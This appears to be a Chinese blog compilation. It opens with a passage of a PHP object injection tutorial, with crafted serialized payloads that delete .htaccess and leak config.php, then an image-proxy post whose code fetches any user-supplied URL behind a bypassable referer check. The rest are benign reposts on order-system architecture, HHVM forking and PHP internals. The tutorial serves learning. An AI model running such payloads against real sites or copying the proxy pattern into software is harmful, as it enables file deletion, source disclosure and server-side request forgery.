究竟发生了什么呢,因为输入是可控的,所以我们可以构造任意的序列化对象,比如:

filename = '.htaccess';echo serialize($obj) . '
';?>

这个会输出

O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";} 
__destruct deletes ".htaccess" file.

现在我们将构造过后的序列化对象发送给刚才的脚本:

script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess”;}

这会输出

__destruct deletes ".htaccess" file.

现在 .htaccess 已经被干掉了,因为脚本结束时 __destruct会被调用。不过我们已经可以控制“LogFile”类的变量啦。

这就是漏洞名称的由来:变量可控并且进行了unserialize操作的地方注入序列化对象,实现代码执行或者其他坑爹的行为。

虽然这不是一个很好的例子,不过我相信你可以理解这个概念,unserialize自动调用 __wakeup 和 __destruct,接着攻击者可以控制类变量,并且攻击web程序。

0x06 常见的注入点

先不谈 __wakeup 和 __destruct,还有一些很常见的注入点允许你利用这个类型的漏洞,一切都是取决于程序逻辑。

打个比方,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj) ,而且其他类也可能定义了一个类允许__toString读取某个文件。

< ?php
// … 一些include ...class FileClass
{
// 文件名public $filename = 'error.log';
 
//当对象被作为一个字符串会读取这个文件
 
public function __toString()
{
return file_get_contents($this->filename);
}
}
 
// Main User class
 
class User
{
// Class data
 
public $age = 0;
public $name = '';
 
// 允许对象作为一个字符串输出上面的data
 
public function __toString()
{
return 'User ' . $this->name . ' is ' . $this->age . ' years old. 
';
}
}
 
// 用户可控
 
$obj = unserialize($_GET['usr_serialized']);
 
// 输出 __toString
 
echo $obj;
 
?>

so,我们构造url

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

再想想,如果我们用序列化调用 FileClass呢

我们创建利用代码

filename = 'config.php';echo serialize($fileobj);?>

接着用生成的exp注入url

script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php”;}

接着网页会输出 config.php的源代码

ps:我希望这让你能够理解。

0x07 其他的利用方法

可能其他的一些magic函数海存在利用点:比如__call 会在对象调用不存在的函数时调用,__get 和 __set会在对象尝试访问一些不存在的类,变量等等时调用。

不过需要注意的是,利用场景不限于magic函数,也有一些方式可以在一半的函数中利用这个漏洞,打个比方,一个模块可能定义了一个叫get的函数进行一些敏感的操作,比如访问数据库,这就可能造成sql注入,取决于函数本身的操作。

唯一的一个技术难点在于,注入的类必须在注入点所在的地方,不过一些模块或者脚本会使用“autoload”的功能,具体可以在这里了解

0x08 如何利用或者避免这个漏洞

别在任何用户可控的地方使用“unserialize”,可以考虑“json_decode“

0x09 结论

虽然很难找到而且很难利用,但是这真的真的很严重,可以导致各种各样的漏洞。

知乎日报搜索小应用

博主每天都要刷知乎日报,感觉里面的内容很不错,但是有时候看到的文章并没有收藏,下次再找的时候十分不方便,这里做一个简单的小网页来提供知乎日报的搜索功能。

先放上网站链接:知乎日报搜索

前端样式比较丑,后期有时间进行改进。

一 抓取知乎日报内容

网上之前有调用http://zhihudaily.ahorn.me这个接口来返回知乎日报文章url,后来发现接口已经不可用,经过查找,发现可用的三个接口,还比较方便:

http://news-at.zhihu.com/api/3/news/latest  #获取最新消息

http://news.at.zhihu.com/api/3/news/before/20170401  #获取以前的消息,before后面要加日期

http://news-at.zhihu.com/api/3/news/  #获取指定消息,news后面加消息ID

后面的事情就好说了,随便写个爬虫,从2013年开始,抓到目前为止的所有内容,这里返回的都是json数据,更好处理。

二 使用sphinx作为中文搜索引擎

Sphinx的安装和使用

如果建立索引的时候报错,可以用一下参数:

/usr/local/sphinx-for-chinese/bin/indexer –all –rotate

三 搭建一个php代理处理图片盗链

把图片url抓取之后,发现知乎做了反盗链,图片没法直接显示,最后搭了简单的php代理,通过后端get_file_contents($image_url),或者通过curl设置referer, 请求原始图片数据echo 出来返回前端,这样就解决了知乎的反盗链。但是服务器需要下载和展示图片,流量会是原来的2倍,对于预算不足的服务器可能不太值当。另外可以把图片下载后放到微博的图床上,获取微博的未防盗链的图片,这样对服务器的性能会更好!


//防止别人用我的接口,这里判断refer,只有自己网站可用
if(isset($_SERVER['HTTP_REFERER']) &amp;amp;&amp;amp; (strpos($_SERVER['HTTP_REFERER'], 'http://zhihu.dadaaierer.com/') !== 0)) {
return;
}
if(!isset($_GET['url']) ||empty($_GET['url'])) {
return;
}
echo file_get_contents($_GET['url']);

文章中的img url通过


preg_replace('/src=\&amp;quot;(.*)\&amp;quot;/', 'src=&amp;quot;http://zhihu.dadaaierer.com/site/url?url=$1&amp;quot;', $tmp['content']);

替换,即可展示文章的图片。

957892883d1c4b6e7f469c69c4b2af6e

如图,搜索今日知乎日报小姐姐之后的结果。

PS:由于博主是单核1G阿里云服务器,图片请求全部打到php做的代理上已经出现扛不住,链接超时报502的错误,博主已经修改了php-fpm的默认max_children,希望近期能扛得住。

[转]美团团购订单系统优化记

团购订单系统简介

美团团购订单系统主要作用是支撑美团的团购业务,为上亿美团用户购买、消费提供服务保障。2015年初时,日订单量约400万~500万,同年七夕订单量达到800万。

目标

作为线上S级服务,稳定性的提升是我们不断的追求。尤其像七夕这类节日,高流量,高并发请求不断挑战着我们的系统。发现系统瓶颈,并有效地解决,使其能够稳定高效运行,为业务增长提供可靠保障是我们的目标。

优化思路

2015年初的订单系统,和团购其它系统如商品信息、促销活动、商家结算等强耦合在一起,约50多个研发同时在同一个代码库上开发,按不同业务结点全量部署,代码可以互相修改,有冲突在所难免。同时,对于订单系统而言,有很多问题,架构方面不够合理清晰,存储方面问题不少,单点较多,数据库连接使用不合理,连接打满频发等等。

针对这些问题,我们按紧迫性,由易到难,分步骤地从存储、传输、架构方面对订单系统进行了优化。

具体步骤

1. 存储优化

订单存储系统之前的同事已进行了部分优化,但不够彻底,且缺乏长远规划。具体表现在有分库分表行为,但没有解决单点问题,分库后数据存储不均匀。
此次优化主要从水平、垂直两个方面进行了拆分。垂直方面,按业务进行了分库,将非订单相关表迁出订单库;水平方面,解决了单点问题后进行了均匀拆库。

这里主要介绍一下ID分配单点问题:

系统使用一张表的自增来得到订单号,所有的订单生成必须先在这里insert一条数据,得到订单号。分库后,库的数量变多,相应的故障次数变多,但由于单点的存在,故障影响范围并未相应的减少,使得全年downtime上升,可用性下降。

针对ID分配单点问题,考虑到数据库表分配性能的不足,调研了Tair、Redis、Snowflake等ID分配器,同时也考虑过将ID区间分段,多点分配。

但最后没有使用这些方案,主要原因是ID分配对系统而言是强依赖服务,在分布式系统中,增加这样一个服务,整体可用性必然下降。 我们还是从数据库入手,进行改良,方案如下。

如下图,由原来一个表分配改为100张表同时分配,业务逻辑上根据不同的表名执行一个简单的运算得到最终的订单号。
ID生成方案

ID与用户绑定:对订单系统而言,每个用户有一个唯一的userid,我们可以根据这个userid的末2位去对应的id_x表取订单号,例如userid为10086的用户去id_86表取到值为42,那订单号就42*100+86=4286。

将订单内容根据userid模100分表后如下图:
订单拆分方案

通过看上面的技巧,我们发现订单根据“userid取模”分表和根据“订单号取模”来分表结果是一样的,因为后两位数一样。到此,分库操作就相当简单容易了,极限情况下分成100个库,每个库两个表。同一个用户的请求一定在同一个库完成操作,达到了完全拆分。

:一般情况下,订单数据分表都是按userid进行的,因为我们希望同一个用户的数据存储在一张表中,便于查询。当给定一个订单号的时候,我们无法判别这个订单在哪个分表,所以大多数订单系统同时维护了一个订单号和userid的关联关系,先根据订单号查到userid,再根据userid确定分表进而查询得到内容。在这里,我们通过前面的技巧发现,订单号末二位和userid一样,给定订单号后,我们就直接知道了分表位置,不需要维护关联表了。给定订单号的情况下,单次查询由原来2条SQL变为1条,查询量减少50%,极大提升了系统高并发下性能。

2. 传输优化

当时订单业务主要用PHP编码,直连数据库。随着前端机器的增多,高流量下数据库的连接数频繁报警,大量连接被闲置占用,因此也发生过数次故障。另一方面,数据库IP地址硬编码,数据库故障后上下线操作需要研发人员改代码上线配合,平均故障处理时间(MTTR)达小时级。
如下图:
DB连接持有说明
在整个业务流程中,只有执行SQL的t1和t2时间需要数据库连接,其余时间连接资源应该释放出来供其它请求使用。现有情况是连接持有时间为t,很不合理。如果在代码中显式为每次操作分别建立并释放资源,无疑增大了业务代码的复杂度,并且建立和释放连接的开销变得不可忽略。最好的解决办法是引入连接池,由连接池管理所有的数据库连接资源。

经过调研,我们引入了DBA团队的Atlas中间件,解决了上述问题。
Atlas方案

有了中间件后,数据库的连接资源不再如以前频繁地创建、销毁,而是和中间件保持动态稳定的数量,供业务请求复用。下图是某个库上线中间件后,数据库每秒新增连接数的监控。
上线中间件后DB连接数变化

同时,Atlas所提供的自动读写分离也减轻了业务自主择库的复杂度。数据库机器的上下线通过Atlas层热切换,对业务透明。

3. 架构优化

经过前面两步的处理,此时的订单系统已比较稳定,但仍然有一些问题需要解决。如前面所述,50多个开发人员共享同一个代码仓库,开发过程互相影响,部署时需要全量发布所有机器,耗时高且成功率偏低。

在此基础上,结合业界主流实践,我们开始对订单系统进行微服务化改造。服务化其实早已是很热门的话题,最早有Amazon的服务化改造,并且收益颇丰,近年有更多公司结合自身业务所进行的一些案例。当然也有一些反思的声音,如Martin Fowler所说,要搞微服务,你得“Tall enough”。

我们搞微服务,是否tall enough呢,或者要进行微服务化的话,有什么先决条件呢?结合业内大牛分享以及我自己的理解,我认为主要有以下三方面:

  • DevOps:开发即要考虑运维。架构设计、开发过程中必须考虑好如何运维,一个大服务被拆成若干小服务,服务注册、发现、监控等配套工具必不可少,服务治理能力得达标。
  • 服务自演进:大服务被拆成小服务后,如何划清边界成为一个难题。拆的太细,增加系统复杂度;太粗,又达不到预期的效果。所以整个子服务的边界也应该不断梳理完善、细化,服务需要不断演进。
  • 团队与架构对齐:服务的拆分应该和团队人员配置保持一致,团队人员如何沟通,设计出的服务架构也应一样,这就是所谓康威定律。

公司层面,美团点评平台主要基于Java生态,在服务治理方面已有较完善的解决方案。统一的日志收集、报警监控,服务注册、服务发现、负载均衡等等。如果继续使用PHP语言做服务化,困难重重且与公司技术发展方向不符,所以我们果断地换语言,使用Java对现有的订单系统进行升级改造。使用公司基础设施后,业务开发人员需要考虑的,就只剩下服务的拆分与人员配置了,在这个过程中还需考虑开发后的部署运维。

结合业务实际情况,订单核心部分主要分为三块:下单、查询和发券。

下单部分

由易到难,大体经过如下两次迭代过程:

第一步:新造下单系统,分为二层结构,foundation这层主要处理数据相关,不做业务逻辑。通过这一层严格控制与数据库的连接,SQL的执行。在foundation的上层,作为下单逻辑处理层,在这里我们部署了物理隔离的两套系统,分别作为普通订单请求和促销订单(节日大促等不稳定流量)请求服务。

通过从原系统www不断切流量,完成下单服务全量走新系统,www演变为一个导流量的接入层。
下单服务1

第二步:在上述基础上,分别为正常下单和促销下单开发了front层服务,完成基本的请求接入和数据校验,为这两个新服务启用新的域名URI。在这个过程中,我们推动客户端升级开发,根据订单发起时是否有促销活动或优惠券,访问不同的URI地址,从源头上对促销和非促流量进行了隔离。
下单服务2

查询部分:

和下单部分类似,分为两层结构,上层根据不同业务请求和重要性进行了物理隔离。
查询服务

发券部分:

发券服务

纵观发券业务历史上的一些故障原因,主要集中在两点:
一是消息队列本身出问题,连不上,数据不能投递,消费者取不到消息。
二是个别脏数据问题,消费者不断重试、失败,造成队列堵塞。

针对上述问题,我们设计了如图所示架构,搭建两组消息队列,互相独立。支付通知分别向L队列和W队列的一个10秒延时队列投递消息,只要有一个投递成功即可。

  • 消息到达L队列后,迅速被发券L服务消费。发券L服务拿到消息后,先ack消息,再尝试进行发券,不论成功或失败,仅一次。
  • 与此同时,相同的消息到达W的10秒延时队列后,经过10秒时间,被投递到MQ_W队列,被发券W服务拿到。发券W服务先检查此消息关联的订单是否已成功发券,若非,尝试进行发券,并完成一系列兜底策略,如超过30分钟自动退款等。

去掉一些细节部分,全景如下:
订单架构

稳定性保障

目前,订单系统服务化已完成,从上述模块部署图中可以看出,架构设计中充分考虑了隔离、降级等容灾措施。具体从以下几个方面说明:

  1. 开发、测试。相比于原来大一统的系统,彼此代码耦合、无法进行测试,服务化后,各个模块单独开发部署,依赖便于mock,单元测试很容易进行。同时我们搭建了稳定的线下环境,便于回归功能。
  2. 蓝绿发布。这是无停机发布常见的一种方法,指的是系统的两个版本,蓝色的表示已经在生产上运行的版本,绿色表示即将发布的新版本。首先将两套版本的系统都启动起来,现有的用户请求连接的还是旧的蓝色版本,而新的绿色版本启动起来后,观察有没有异常,如果没有问题的话,再将现有的用户请求连接到新的绿色版本。目前线上服务发布均采用蓝绿发布流程,对用户无感知。
  3. 多机房部署。按照整体规划,订单系统主要以一个机房为主,另一个机房作为辅助,按照2:1比例进行部署,提升机房故障容灾能力。
  4. 促销与非促购买隔离。如上述下单部署架构图,我们推动App方,对于促销和非促流量,从源头上区别访问地址,达到物理隔离,做到互不影响。
  5. 全流程去单点。除去数据库主库外,全流量无单点,弱化对消息队列的依赖,使用Databus进行数据异步复制;对发券服务搭建两套独立集群,只要同时有一个集群正常运行即可。
  6. 自动化降级。使用开源组件Hystrix,处理外部依赖。当某个服务失败率超过阈值,自动进行熔断,不再访问,经过一定时间后再访问探测该依赖是否恢复。
  7. 完善的监控。利用统一日志中心收集订单流转消息,使用Elasticsearch检索来定位、发现并解决问题。使用Falcon对异常进行报警。

小结

至此订单服务化完成,架构部署比较清晰,业务日常迭代只影响相关的小服务,便于开发。
新的架构有效支撑了今年七夕等节日高流量,运行稳定。
在整个服务优化过程中,也走过一些弯路,结合一些成功的实践,总结如下:

  1. 要有一个Roadmap,设计上要有整体的、长远的、合理的规划,分步骤朝这个方向靠拢。
  2. 不要掉入过度追求性能的陷阱。服务做到多少QPS,多长的耗时,应结合手头有限的资源、业务需求来制定。例如在做订单号改造的时候,Tair和Redis等均能提供上万QPS能力,但业务上并不需要这么多,应该更关注稳定性,所以最终没有采纳,还避免了增加一个依赖。
  3. 对于整体系统来说,要找到瓶颈点整体优化。局部服务能力的提升并不代表整个系统能力的提升。
  4. 每一步操作应该有个评判的标准。优化前和优化后系统的可用性是提升了还是下降了,理论上是可以分析的。
  5. 整个服务已进行了拆分,变成一个个微服务,那就应该允许服务之间的差异化、个性化。避免大而统一且繁琐的配置,个人觉得极少变化的值可以硬编码,配置数量不应过多。

[转]多线程下的fork及写时复制导致的性能问题

名词解释
PHP vs HHVM: PHP指的是php.net(Zend)实现的PHP,而HHVM指的是Facebook开源的PHP实现。
PHP-FPM: (PHP Fastcgi Process Manager) 一个PHP Sapi实现,目前的主流的Web应用使用的方式。基于多进程的模型
HHVM: AdminServer 这是HHVM中为了更好的运维和定位问题实现的一个HTTP操作接口,可以实时的获取和操作HHVM内部状态,
这对于我们是一个非常便利的接口,比如可以打印出内部的队列长度(fpm中也有类似接口,不过灵活性差很多)
多线程下fork()/exec()出现的性能问题
贴吧目前使用的HHVM来运行PHP程序,HHVM采用的是多线程模型, 以前我们使用的是PHP-FPM,PHP-FPM采用的是多进程的模型。 我们通过一个我们上线遇到的问题来看看Linux的写时复制和多线程相关的问题。

上周我们迁移一个服务HHVM运行环境时发现上线后CPU占用飚的非常高,经过分析发现程序时间消耗的最多时间的地方是:fork(), 这个有点奇怪,fork的时候怎么会花那么长时间呢?经过分析发现我们有个基础库的实现中使用了PHP的exec()函数来启动shell程序做字符处理,exec的实现和bash类似,先fork()一个进程然后通过exec系统调用执行相应的命令, 这没有什么不对,对不对。但是为什么在HHVM下会导致CPU利用率过高,而PHP中没事呢? 先看一些基本的背景:

关于写时复制
在Linux中要启动一个新进程的方式通常是:先调用fork()函数fork出一个新的进程,然后在 新的进程中调用exec()函数来启动新的程序从而达到启动新程序的目的,比如采用下面的代码实现。

int start_prog(char *prog, char* args[])  
{
  pid_t pid = fork(); // 创建子进程
  if (pid < 0) return -1;
  if (pid == 0) { // 子进程
    if (execv(prog, args) < 0) return -1; // 加载新的程序
  } else {
    return 1;
  }
}

int main()  
{
  char* args[] = {NULL};
  return start_prog("/bin/ls", args);
}

我们知道进程间的内存地址空间是隔离的,fork()系统调用的结果是生成一个新的子进程,为了保证隔离性, 早期的UNIX采用在fork()将父进程的地址空间完整的复制一份。这个操作非常的耗时。 为了提高效率现代的Unix及Linux采用了一种称为写时复制的技术,其实也就是一种延迟操作的做法, 子进程和父进程在fork()时并不马上复制,而是暂时共享内存空间,随后只要父进程或者子进程试图写共享的内存就会产生一个异常, 这时内核才把内存空间进程复制,比如我们在Shell中启动一个程序时随后就会启动新的程序,启动后的程序将会覆盖旧的内存空间, 如果提前就复制了,那么这个复制操作其实是白做了,为此系统将这个操作优化为写时复制。

复制进程空间

写时复制,发生写时才复制内存地址空间

没必要做 如果马上进行exec加载新的程序,那么复制地址就没必要了

解决方案
从前面的介绍我们知道,启动新程序的时候利用了写实复制的技术避免不必要的消耗。对于HHVM来说, 我们使用的是多线程,每个线下都在并行的执行,也就是说,在某个线程在执行fork()的是时候 还会有其他线程在处理任务,由于线程间是共享进程空间的,那时不可避免的可能会写内存。这就触发了 操作系统的写实复制,导致大量的内存复制操作(其实也是没必要的),这会导致资源占用急剧上涨。

说到这里你可能会说:你看,多线程模式不太好吧。HHVM的实现是不是有问题?其实对于PHP也会有类似的问题的, 如果你使用的是PHP的多线程模型(现在应该很少的人使用)。

这个问题,HHVM使用了一个比较巧妙的方式来解决。

HHVM的思路是这样的,既然多线程下写实复制容易出俩捣乱,那么就让fork发生在非多线程的进程中,让他不可能发生空间复制。

HHVM启动时先预先启动N个(可配置)代理进程,在父进程和这些代理进程之前预先开启管道方便通信
有需要启动子进程的时候,通过管道选择一个没有正在fork()进程的代理进程,将执行信息通过管道发给代理进程
代理进程根据要执行的程序fork()一个新的子进程并执行相应的命令,然后将执行完成的信息通过管道写回主进程。
从上面可以知道,因为代理进程每个进程都只有一个线程不会存在多线程写的问题。 HHVM中将它称为轻进程。

使用fork来避免复制

解决方案

使用了HHVM的轻进程后,CPU直接就降了下来,我们虽然可是使用这个方案解决这个问题,不过我们还是将 exec()调用改成了PHP原生文件读取操作,一来exec()函数的成本相对较高,二来使用shell不利于可移植性, 虽然我们不太可能使用Windows,不过这样的耦合是没必要的。

总结
多线程vs多进程。其实这两个模式没有绝对的好坏,就要需要什么,多进程的好处是进程隔离,程序出现问题也能保证服务不整体crash掉,但是多进程带来的问题是进程间通信的成本,多线程也有多好处,比如HHVM中的AdminServer,队列的管理等等,如果不是多线程,JIT,实例管理,Debug都会非常的复杂。
对于高并发的程序建议少用不用exec()/system()等函数,除了内存占用,进程数也可能会变成资源瓶颈,其实和其他思路类似,尽量在用户态把事情做了。
多线程下fork()还有其他的问题,我们的场景是fork() 然后马上执行新的程序,如果你是真的要fork,这可能会遇到更多的问题,比如锁等等,请参考http://rachelbythebay.com/w/2014/08/16/forkenv/

[转]PHP底层的运行机制与原理

这里摘抄下PHP大而宽的一些知识。

PHP说简单,但是要精通也不是一件简单的事。我们除了会使用之外,还得知道它底层的工作原理。

PHP是一种适用于web开发的动态语言。具体点说,就是一个用C语言实现包含大量组件的软件框架。更狭义点看,可以把它认为是一个强大的UI框架。

了解PHP底层实现的目的是什么?动态语言要像用好首先得了解它,内存管理、框架模型值得我们借鉴,通过扩展开发实现更多更强大的功能,优化我们程序的性能。

1. PHP的设计理念及特点

  • 多进程模型:由于PHP是多进程模型,不同请求间互不干涉,这样保证了一个请求挂掉不会对全盘服务造成影响,当然,随着时代发展,PHP也早已支持多线程模型。
  • 弱类型语言:和C/C++、Java、C#等语言不同,PHP是一门弱类型语言。一个变量的类型并不是一开始就确定不变,运行中才会确定并可能发生隐式或显式的类型转换,这种机制的灵活性在web开发中非常方便、高效,具体会在后面PHP变量中详述。
  • 引擎(Zend)+组件(ext)的模式降低内部耦合。
  • 中间层(sapi)隔绝web server和PHP。
  • 语法简单灵活,没有太多规范。缺点导致风格混杂,但再差的程序员也不会写出太离谱危害全局的程序。

2. PHP的四层体系

PHP的核心架构如下图:

2011_09_20_01

从图上可以看出,PHP从下到上是一个4层体系:

  • Zend引擎:Zend整体用纯C实现,是PHP的内核部分,它将PHP代码翻译(词法、语法解析等一系列编译过程)为可执行opcode的 处理并实现相应的处理方法、实现了基本的数据结构(如hashtable、oo)、内存分配及管理、提供了相应的api方法供外部调用,是一切的核心,所 有的外围功能均围绕Zend实现。
  • Extensions:围绕着Zend引擎,extensions通过组件式的方式提供各种基础服务,我们常见的各种内置函数(如array 系列)、标准库等都是通过extension来实现,用户也可以根据需要实现自己的extension以达到功能扩展、性能优化等目的(如贴吧正在使用的 PHP中间层、富文本解析就是extension的典型应用)。
  • Sapi:Sapi全称是Server Application Programming Interface,也就是服务端应用编程接口,Sapi通过一系列钩子函数,使得PHP可以和外围交互数据,这是PHP非常优雅和成功的一个设计,通过 sapi成功的将PHP本身和上层应用解耦隔离,PHP可以不再考虑如何针对不同应用进行兼容,而应用本身也可以针对自己的特点实现不同的处理方式。
  • 上层应用:这就是我们平时编写的PHP程序,通过不同的sapi方式得到各种各样的应用模式,如通过webserver实现web应用、在命令行下以脚本方式运行等等。

如果PHP是一辆车,那么车的框架就是PHP本身,Zend是车的引擎(发动机),Ext下面的各种组件就是车的轮子,Sapi可以看做是公路, 车可以跑在不同类型的公路上,而一次PHP程序的执行就是汽车跑在公路上。因此,我们需要:性能优异的引擎+合适的车轮+正确的跑道。

3. Sapi

如前所述,Sapi通过通过一系列的接口,使得外部应用可以和PHP交换数据并可以根据不同应用特点实现特定的处理方法,我们常见的一些sapi有:

  • apache2handler:这是以apache作为webserver,采用mod_PHP模式运行时候的处理方式,也是现在应用最广泛的一种。
  • cgi:这是webserver和PHP直接的另一种交互方式,也就是大名鼎鼎的fastcgi协议,在最近今年fastcgi+PHP得到越来越多的应用,也是异步webserver所唯一支持的方式。
  • cli:命令行调用的应用模式

4. PHP的执行流程&opcode

我们先来看看PHP代码的执行所经过的流程。2011_09_20_02

从图上可以看到,PHP实现了一个典型的动态语言执行过程:拿到一段代码后,经过词法解析、语法解析等阶段后,源程序会被翻译成一个个指令 (opcodes),然后ZEND虚拟机顺次执行这些指令完成操作。PHP本身是用C实现的,因此最终调用的也都是C的函数,实际上,我们可以把PHP看 做是一个C开发的软件。

PHP的执行的核心是翻译出来的一条一条指令,也即opcode。

Opcode是PHP程序执行的最基本单位。一个opcode由两个参数(op1,op2)、返回值和处理函数组成。PHP程序最终被翻译为一组opcode处理函数的顺序执行。

常见的几个处理函数:

1 ZEND_ASSIGN_SPEC_CV_CV_HANDLER : 变量分配 ($a=$b
2 ZEND_DO_FCALL_BY_NAME_SPEC_HANDLER:函数调用
3 ZEND_CONCAT_SPEC_CV_CV_HANDLER:字符串拼接 $a.$b
4 ZEND_ADD_SPEC_CV_CONST_HANDLER: 加法运算 $a+2
5 ZEND_IS_EQUAL_SPEC_CV_CONST:判断相等 $a==1
6 ZEND_IS_IDENTICAL_SPEC_CV_CONST:判断相等 $a===1

5. HashTable — 核心数据结构

HashTable是zend的核心数据结构,在PHP里面几乎并用来实现所有常见功能,我们知道的PHP数组即是其典型应用,此外,在zend内部,如函数符号表、全局变量等也都是基于hash table来实现。

PHP的hash table具有如下特点:

  • 支持典型的key->value查询
  • 可以当做数组使用
  • 添加、删除节点是O(1)复杂度
  • key支持混合类型:同时存在关联数组合索引数组
  • Value支持混合类型:array (“string”,2332)
  • 支持线性遍历:如foreach

Zend hash table实现了典型的hash表散列结构,同时通过附加一个双向链表,提供了正向、反向遍历数组的功能。其结构如下图:

 

2011_09_20_03

可以看到,在hash table中既有key->value形式的散列结构,也有双向链表模式,使得它能够非常方便的支持快速查找和线性遍历。

    • 散列结构:Zend的散列结构是典型的hash表模型,通过链表的方式来解决冲突。需要注意的是zend的hash table是一个自增长的数据结构,当hash表数目满了之后,其本身会动态以2倍的方式扩容并重新元素位置。初始大小均为8。另外,在进行 key->value快速查找时候,zend本身还做了一些优化,通过空间换时间的方式加快速度。比如在每个元素中都会用一个变量 nKeyLength标识key的长度以作快速判定。
    • 双向链表:Zend hash table通过一个链表结构,实现了元素的线性遍历。理论上,做遍历使用单向链表就够了,之所以使用双向链表,主要目的是为了快速删除,避免遍历。 Zend hash table是一种复合型的结构,作为数组使用时,即支持常见的关联数组也能够作为顺序索引数字来使用,甚至允许2者的混合。
    • PHP关联数组:关联数组是典型的hash_table应用。一次查询过程经过如下几步(从代码可以看出,这是一个常见的hash查询过程并增加一些快速判定加速查找。):
01 getKeyHashValue h;
02 index = n & nTableMask;
03 Bucket *p = arBucket[index];
04 while (p) {
05     if ((p->h == h) && (p->nKeyLength == nKeyLength)) {
06         RETURN p->data;  
07     }
08     p=p->next;
09 }
10 RETURN FALTURE;
  • PHP索引数组:索引数组就是我们常见的数组,通过下标访问。例如 $arr[0],Zend HashTable内部进行了归一化处理,对于index类型key同样分配了hash值和nKeyLength(为0)。内部成员变量 nNextFreeElement就是当前分配到的最大id,每次push后自动加一。正是这种归一化处理,PHP才能够实现关联和非关联的混合。由于 push操作的特殊性,索引key在PHP数组中先后顺序并不是通过下标大小来决定,而是由push的先后决定。例如 $arr[1] = 2; $arr[2] = 3;对于double类型的key,Zend HashTable会将他当做索引key处理

6. PHP变量

PHP是一门弱类型语言,本身不严格区分变量的类型。PHP在变量申明的时候不需要指定类型。PHP在程序运行期间可能进行变量类型的隐示转换。 和其他强类型语言一样,程序中也可以进行显示的类型转换。PHP变量可以分为简单类型(int、string、bool)、集合类型(array resource object)和常量(const)。以上所有的变量在底层都是同一种结构 zval。

Zval是zend中另一个非常重要的数据结构,用来标识并实现PHP变量,其数据结构如下:

2011_09_20_04

Zval主要由三部分组成:

  • type:指定了变量所述的类型(整数、字符串、数组等)
  • refcount&is_ref:用来实现引用计数(后面具体介绍)
  • value:核心部分,存储了变量的实际数据

Zvalue是用来保存一个变量的实际数据。因为要存储多种类型,所以zvalue是一个union,也由此实现了弱类型。

PHP变量类型和其实际存储对应关系如下:

1 IS_LONG   -> lvalue
2 IS_DOUBLE -> dvalue
3 IS_ARRAY  -> ht
4 IS_STRING -> str
5 IS_RESOURCE -> lvalue

引用计数在内存回收、字符串操作等地方使用非常广泛。PHP中的变量就是引用计数的典型应用。Zval的引用计数通过成员变量is_ref和ref_count实现,通过引用计数,多个变量可以共享同一份数据。避免频繁拷贝带来的大量消耗。

在进行赋值操作时,zend将变量指向相同的zval同时ref_count++,在unset操作时,对应的ref_count-1。只有ref_count减为0时才会真正执行销毁操作。如果是引用赋值,则zend会修改is_ref为1。

PHP变量通过引用计数实现变量共享数据,那如果改变其中一个变量值呢?当试图写入一个变量时,Zend若发现该变量指向的zval被多个变量共 享,则为其复制一份ref_count为1的zval,并递减原zval的refcount,这个过程称为“zval分离”。可见,只有在有写操作发生时 zend才进行拷贝操作,因此也叫copy-on-write(写时拷贝)

对于引用型变量,其要求和非引用型相反,引用赋值的变量间必须是捆绑的,修改一个变量就修改了所有捆绑变量。

整数、浮点数是PHP中的基础类型之一,也是一个简单型变量。对于整数和浮点数,在zvalue中直接存储对应的值。其类型分别是long和double。

从zvalue结构中可以看出,对于整数类型,和c等强类型语言不同,PHP是不区分int、unsigned int、long、long long等类型的,对它来说,整数只有一种类型也就是long。由此,可以看出,在PHP里面,整数的取值范围是由编译器位数来决定而不是固定不变的。

对于浮点数,类似整数,它也不区分float和double而是统一只有double一种类型。

在PHP中,如果整数范围越界了怎么办?这种情况下会自动转换为double类型,这个一定要小心,很多trick都是由此产生。

和整数一样,字符变量也是PHP中的基础类型和简单型变量。通过zvalue结构可以看出,在PHP中,字符串是由由指向实际数据的指针和长度结 构体组成,这点和c++中的string比较类似。由于通过一个实际变量表示长度,和c不同,它的字符串可以是2进制数据(包含\0),同时在PHP中, 求字符串长度strlen是O(1)操作。

在新增、修改、追加字符串操作时,PHP都会重新分配内存生成新的字符串。最后,出于安全考虑,PHP在生成一个字符串时末尾仍然会添加\0

常见的字符串拼接方式及速度比较:

假设有如下4个变量:$strA=‘123’; $strB = ‘456’; $intA=123; intB=456;

现在对如下的几种字符串拼接方式做一个比较和说明:

1 $res = $strA.$strB$res = “$strA$strB
2 这种情况下,zend会重新malloc一块内存并进行相应处理,其速度一般
3 $strA = $strA.$strB
4 这种是速度最快的,zend会在当前strA基础上直接relloc,避免重复拷贝
5 $res = $intA.$intB
6 这种速度较慢,因为需要做隐式的格式转换,实际编写程序中也应该注意尽量避免
7 $strA = sprintf (“%s%s”,$strA.$strB);
8 这会是最慢的一种方式,因为sprintf在PHP中并不是一个语言结构,本身对于格式识别和处理就需要耗费比较多时间,另外本身机制也是malloc。不过sprintf的方式最具可读性,实际中可以根据具体情况灵活选择。

PHP的数组通过Zend HashTable来天然实现。

foreach操作如何实现?对一个数组的foreach就是通过遍历hashtable中的双向链表完成。对于索引数组,通过foreach遍 历效率比for高很多,省去了key->value的查找。count操作直接调用 HashTable->NumOfElements,O(1)操作。对于’123’这样的字符串,zend会转换为其整数形 式。$arr[‘123’]和$arr[123]是等价的

资源类型变量是PHP中最复杂的一种变量,也是一种复合型结构。

PHP的zval可以表示广泛的数据类型,但是对于自定义的数据类型却很难充分描述。由于没有有效的方式描绘这些复合结构,因此也没有办法对它们使用传统的操作符。要解决这个问题,只需要通过一个本质上任意的标识符(label)引用指针,这种方式被称为资源。

在zval中,对于resource,lval作为指针来使用,直接指向资源所在的地址。Resource可以是任意的复合结构,我们熟悉的mysqli、fsock、memcached等都是资源。

如何使用资源:

  • 注册:对于一个自定义的数据类型,要想将它作为资源。首先需要进行注册,zend会为它分配全局唯一标示。
  • 获取一个资源变量:对于资源,zend维护了一个id->实际数据的hash_tale。对于一个resource,在zval中只记录了它的id。fetch的时候通过id在hash_table中找到具体的值返回。
  • 资源销毁:资源的数据类型是多种多样的。Zend本身没有办法销毁它。因此需要用户在注册资源的时候提供销毁函数。当unset资源时,zend调用相应的函数完成析构。同时从全局资源表中删除它。

